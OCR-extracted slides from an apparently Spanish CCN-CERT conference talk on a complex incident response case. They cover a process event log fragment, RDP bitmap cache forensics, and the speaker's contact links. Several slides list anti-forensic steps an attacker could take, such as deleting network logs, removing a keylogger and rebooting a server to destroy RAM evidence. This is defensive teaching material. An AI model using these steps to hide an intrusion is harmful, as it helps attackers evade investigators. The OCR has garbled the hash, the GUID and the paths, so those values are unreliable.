5BAZB2B52DATIFC124C39E1E345BCA3338DD2CA3834CBEGIF1FOC21747235802
ParentProcessGuids {6439b5fd-1bc7-5dc1-0000-0010b3f1 00}
ParentProcessld: 2108

Parentimage: CA\Windows\explorer.exe

ParentCommandLine: C:AYWINDOWS\Explorer.EXE
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CLAUDIA + CARMEN

on de vigilancia en el endpoint

DIA requiere CARMEN

Multiples capacidades de respuesta ante
incidentes, forense y threat hunting

Capaz de convertir muchos I0OC en “pata negra”
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.. ¢y Si los atacantes fueran MALVADOS?
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Acciones anti-forense 1

= Borrar logs de CHITONSRV - Sin Bro, no tendriamos
datos de conexiones

= Desinstalar keylogger - Nos quedamos sin evidencias
clave (requeririan un forense mucho mas profundo)

» Desinstalar TeamViewer / Hacer la copia directa a
WEBSERVER = Nos quedamos practicamente a ciegas

4l
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Acciones anti-forense 2

= Reiniciar WEBSERVER - Nos quedamos sin el volcado
de RAM - (Esto ya ha pasado, fallos del directo ©)

= No dejar una webshell > No tendriamos practicamente
informacion sobre el punto de entrada (pero los
atacantes mantendrian las credenciales del domain

admin)
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Extra 2: Bitmap cache forensics

= Optimizacion de RDP - Partir la imagen en
trozos (tiles) y entregar solo cambios.

= Caché del usuario en el cliente (WEBSERVER):
C:\Users\salvador.bendito\AppData\Local\Microsoft
\Terminal Server Client\Cache\*

= Usamos bmc-tools.py para procesar la caché
= .. 2553 resultados, un collage de 40Mb ...
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Extra 2: Bitmap cache forensics
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D.

Conclusiones
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La Verdad a veces es escurridiza
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Los atacantes son cada vez mas listos




Trabaja como Si
estuvieras

COMPROMETIDO



I~ XIIIJORNADASCCNCERT
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Fvidencias, slides y referencias: https://loreto.ccn-
cert.cni.es/index.php/s/peVMCibyL5nbMGD

Captura de evidencias en incidentes complejos: https://vanesa.ccn-
cert.cni.es/userportal/#/player/vod/Ud1b1cb038d3f4d59a2642abd9%ed
0d890

Email: asanz/@/s2grupo(.)es
Twitter: @antoniosanzalc
Canal de forense: t.me/forense
Blog: https://www.securityartwork.es
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